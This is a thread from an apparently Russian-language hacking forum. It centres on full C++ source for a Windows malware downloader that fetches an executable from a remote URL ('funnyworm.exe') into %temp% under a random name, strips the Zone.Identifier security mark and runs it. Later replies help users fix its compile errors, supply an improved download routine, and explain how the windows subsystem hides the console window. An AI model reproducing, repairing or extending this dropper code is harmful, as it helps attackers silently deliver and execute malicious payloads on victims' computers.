• XSS.stack #1 – первый литературный журнал от юзеров форума

C++ Downloader

bnetmstr

HDD-drive
Пользователь
Регистрация
03.11.2020
Сообщения
32
Реакции
25
WININET + urlmon
CreateProcess + ShellExecute

Rabotojet s unicode toshe, mosh komu pregoditza

Udalajet Zone.Identifier

Sohranejet file w %temp%\randnumbers.exe


Код:
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
#include <shellapi.h>
#include <wininet.h>
#include <Shlwapi.h>
#include <tchar.h>

bool ExecuteProcess(wchar_t *szFile)
{
    HINSTANCE hResult;

    STARTUPINFOW pStartInfo;
    PROCESS_INFORMATION pProcessInfo;
       
    memset((STARTUPINFOW*)&pStartInfo, 0, sizeof(STARTUPINFOW));   
    memset((PROCESS_INFORMATION*)&pProcessInfo, 0, sizeof(PROCESS_INFORMATION));   

    pStartInfo.cb          = sizeof(STARTUPINFOW);
    pStartInfo.dwFlags     = STARTF_USESHOWWINDOW;
    pStartInfo.wShowWindow = SW_SHOW;

    if (CreateProcessW(NULL, szFile, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &pStartInfo, &pProcessInfo) == TRUE)
    {
        Sleep(1000);

        return true;
    }

    hResult = ShellExecuteW(NULL, L"open", szFile, 0, 0, SW_HIDE);

    int result = int(hResult);

    if (result > 32)
    {
        Sleep(1000);

        return true;
    }

    return false;
}

void Download(wchar_t *szLink)
{
    HANDLE hFile;

    srand(GetTickCount());

    HINTERNET hOpen, hURL;   

    DWORD dwRead, dwWrite;

    bool DownloadedFile = false;

    WCHAR szFile[MAX_PATH];
    WCHAR szTempPath[MAX_PATH];
    WCHAR szData[MAX_PATH];
    WCHAR szZonePath[MAX_PATH];

    ExpandEnvironmentStringsW(L"%temp%", szTempPath, sizeof(szTempPath));
                   
    srand(GetTickCount());

    wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);

    hOpen = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (hOpen != NULL)
    {   
        hURL = InternetOpenUrlW(hOpen, szLink, NULL, 0, 0, 0);

        if (hURL != NULL)
        {
            hFile = CreateFileW(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
                           
            if (hFile != INVALID_HANDLE_VALUE)
            {
                memset(szData, 0, sizeof(szData));

                while (InternetReadFile(hURL, szData, sizeof(szData) - 1, &dwRead) && dwRead != 0)   
                {
                    WriteFile(hFile, szData, dwRead, &dwWrite, NULL);
                }

                CloseHandle(hFile);

                wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);
                       
                DeleteFileW(szZonePath);

                Sleep(100);
               
                if (ExecuteProcess(szFile) == true)                           
                    DownloadedFile = true;

            }

            CloseHandle(hFile);
        }
                   
        InternetCloseHandle(hURL);
    }
               
    InternetCloseHandle(hOpen);
   
    Sleep(500);
   
    if (DownloadedFile == false)
    {
        wsprintfW(szFile, L"%ls\\%d.exe", szTempPath, rand() % 30000 + 10000);

        if (URLDownloadToFileW(0, szLink, szFile, 0, SW_HIDE) == S_OK)
        {
            wsprintfW(szZonePath, L"%ls:Zone.Identifier", szFile);

            DeleteFileW(szZonePath);
           
            Sleep(100);
           
            ExecuteProcess(szFile);
        }
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)   
{
    Sleep(500);
   
    Download(L"http://host.ws/funnyworm.exe");

    return 0;
}
 
Последнее редактирование:
у меня почему то ругается на

C++:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    Sleep(500);

    Download(L"мойлинктут");

    return 0;
}

а конкретно на строку с Download(L"мойлинктут");

аргумент типа "const wchar_t *" несовместим с параметром типа "wchar_t *"

Я в указателе void Download(wchar_t *szLink) перед wchar_t ставил const
Ошибка ушла, но создала кучу других, что делать не знаю
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ошибка ушла, но создала кучу других, что делать не знаю
Выкладывай какие ошибки, разберемся.

аргумент типа "const wchar_t *" несовместим с параметром типа "wchar_t *"
не надо так делать. Когда ты пишешь L"мойлинктут" , то в плюсах это идет как константа куда-то там в .rdata. Напиши что-то вида
wchar_t moylink[] = L"тут_мой_линк" и его передавай в функцию.
 
Выкладывай какие ошибки, разберемся.


не надо так делать. Когда ты пишешь L"мойлинктут" , то в плюсах это идет как константа куда-то там в .rdata. Напиши что-то вида
wchar_t moylink[] = L"тут_мой_линк" и его передавай в функцию.
Передавать в
Download(moylink);
Так?
 
Последнее редактирование:
Выкладывай какие ошибки, разберемся.


не надо так делать. Когда ты пишешь L"мойлинктут" , то в плюсах это идет как константа куда-то там в .rdata. Напиши что-то вида
wchar_t moylink[] = L"тут_мой_линк" и его передавай в функцию.
Если я его назначил так, то как теперь в Download его указать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
я не вижу в мэйне - ExecuteProcess
закачает но не запустит.
и с переменной среды окружения могут быть проблемы, на се испытанно
 
я не вижу в мэйне - ExecuteProcess
закачает но не запустит.
Он в функции Download вызывается.
 
Hi! Cool code! But... there are a few problems....

1. You used WinMain entry point. The WinMain entry point is designated for UI-based applications. Using WinMain requires modifying the subsystem specified in the linker. There is a possibility of unusual behavior from using WinMain without invocation of CreateWindowEx - it is best practice to use the main() entry point if your application does not have a GUI. If you're curious - compile this binary and look at it under the scope of IDA. You'll see a very large difference between WinMain and main.

2. URLDownloadToFileW is a high level abstraction. It requires COM interfaces to determine whether or not the download has completed successfully. URLDownloadFileW, in your implementation, would continue execution when it return S_OK and may execute the process regardless if it completed downloading. This can result in undefined behavior.

From MSDN: URLDownloadToFile returns S_OK even if the file cannot be created and the download is canceled. If the szFileName parameter contains a file path, ensure that the destination directory exists before calling URLDownloadToFile. For best control over the download and its progress, an IBindStatusCallback interface is recommended.
... Read about here on MSDN

An example for a correct implementation would look like this:


Код:
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "urlmon.lib")

#define WIDE_MAX_PATH (MAX_PATH * sizeof(WCHAR))

SIZE_T StringLengthW(LPCWSTR String)
{
    LPCWSTR String2;

    for (String2 = String; *String2; ++String2);

    return (String2 - String);
}

PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
{
    PWCHAR p = String1;

    while ((*p++ = *String2++) != 0);

    return String1;
}

PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
{
    StringCopyW(&String[StringLengthW(String)], String2);

    return String;
}

class DownloadProgressRoutine : public IBindStatusCallback {
public:

    HRESULT __stdcall QueryInterface(const IID&, void**) { return E_NOINTERFACE; }
    ULONG STDMETHODCALLTYPE AddRef(void) { return 1; }
    ULONG STDMETHODCALLTYPE Release(void) { return 1; }
    HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD dwReserved, IBinding* pib) { return E_NOTIMPL; }
    virtual HRESULT STDMETHODCALLTYPE GetPriority(LONG* pnPriority) { return E_NOTIMPL; }
    virtual HRESULT STDMETHODCALLTYPE OnLowResource(DWORD reserved) { return S_OK; }
    virtual HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT hresult, LPCWSTR szError) { return E_NOTIMPL; }
    virtual HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD* grfBINDF, BINDINFO* pbindinfo) { return E_NOTIMPL; }
    virtual HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD grfBSCF, DWORD dwSize, FORMATETC* pformatetc, STGMEDIUM* pstgmed) { return E_NOTIMPL; }
    virtual HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID riid, IUnknown* punk) { return E_NOTIMPL; }

    virtual HRESULT __stdcall OnProgress(ULONG ulProgress, ULONG ulProgressMax, ULONG ulStatusCode, LPCWSTR szStatusText)
    {
        /*
        * if(ulProgress == ulProgressMax)
        *   DownloadComplete(...);
        */

        printf("In progress: %ld of %ld\r\n", ulProgress, ulProgressMax);
        
        return S_OK;
    }
};

DWORD Win32FromHResult(HRESULT Result)
{
    if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
        return HRESULT_CODE(Result);

    if (Result == S_OK)
        return ERROR_SUCCESS;

    return ERROR_CAN_NOT_COMPLETE;
}

INT main(VOID)
{
    HRESULT Result = S_OK;
    DownloadProgressRoutine DownloadCallback;

    WCHAR wTempPath[WIDE_MAX_PATH] = { 0 };

    if (GetTempPathW(WIDE_MAX_PATH, wTempPath) == 0)
        return GetLastError();

    if (StringConcatW(wTempPath, (PWCHAR)L"code.c") == NULL)
        return GetLastError();

    Result = URLDownloadToFileW(0,
        L"https://github.com/vxunderground/WinAPI-Tricks/blob/main/Kernel32/GetCurrentDirectoryAlt/GetCurrentDirectoryAltW.c",
        wTempPath,
        0,
        (IBindStatusCallback*)(&DownloadCallback));

    if (Result != S_OK)
        return Win32FromHResult(Result);

    return ERROR_SUCCESS;
    
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Hi! Cool code! But... there are a few problems....
Okay, wiskey thx for reaching out our small community and taking look
 
Hi! Cool code! But... there are a few problems....

1. You used WinMain entry point. The WinMain entry point is designated for UI-based applications. Using WinMain requires modifying the subsystem specified in the linker. There is a possibility of unusual behavior from using WinMain without invocation of CreateWindowEx - it is best practice to use the main() entry point if your application does not have a GUI. If you're curious - compile this binary and look at it under the scope of IDA. You'll see a very large difference between WinMain and main.
Are you sure about p. 1? As far as i understand, either default "main" function using console subsystem, or "WinMain" using windows subsystem, both are not "real" entry points. They are functions called either by "mainCRTStartup" or "WinMainCRTStartup" which are real entry points for two subsystems. The first is responsible for creating the black console window and parsing command line arguments, the latter too parses command line arguments, but also fills the other parameters based on the parent process, windows processes are created using "CreateProcess" api which allows to set nCmdShow argument, CreateWindowEx is not responsible for those parameters. The main point here is to avoid creation of the console window, that is why OP set windows subsystem.
 
Are you sure about p. 1? As far as i understand, either default "main" function using console subsystem, or "WinMain" using windows subsystem, both are not "real" entry points. They are functions called either by "mainCRTStartup" or "WinMainCRTStartup" which are real entry points for two subsystems. The first is responsible for creating the black console window and parsing command line arguments, the latter too parses command line arguments, but also fills the other parameters based on the parent process, windows processes are created using "CreateProcess" api which allows to set nCmdShow argument, CreateWindowEx is not responsible for those parameters. The main point here is to avoid creation of the console window, that is why OP set windows subsystem.
You're correct. I was wrong. My misunderstanding of WinMain came from something I read on MSDN: "Your WinMain should initialize the application, display its main window, and enter a message retrieval-and-dispatch loop that is the top-level control structure for the remainder of the application's execution. Terminate the message loop when it receives a WM_QUIT message. At that point, your WinMain should exit the application, returning the value passed in the WM_QUIT message's wParam parameter. If WM_QUIT was received as a result of calling PostQuitMessage, the value of wParam is the value of the PostQuitMessage function's nExitCode parameter. For more information, see Creating a Message Loop." [link]. However, based on documentation I read online - it appears this is not a requirement. I stand corrected. +1

Additionally, both are similar with how they're handled internally. When you use wWinMain the binaries entry point is wWinMainCRTStartup, which forwards to _scrt_common_main, _scrt_common_main_seh, followed by a final invocation of invoke_main. (See image 1). Using main entry point immediately jumps to _scrt_common_main_seh and an invocation of main. (See image 2). The _scrt_common_main_seh seen in this code is responsible for placing the in-memory module under the global SEH exception filter. Ultimately, what is the "entry point" is determined by the linker and is something which can be specified in the linker. Modification of this can be seen in the Babuk source code leak. You can also read about it on MSDN.

tl;dr you're right, they're both pretty similar, except some small characteristics.

Oh, and during my reading I also read this amazing post by Raymond Chen.
 

Вложения

  • 1.PNG
    1.PNG
    17.1 КБ · Просмотры: 63
  • 2.png
    2.png
    17.8 КБ · Просмотры: 63


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх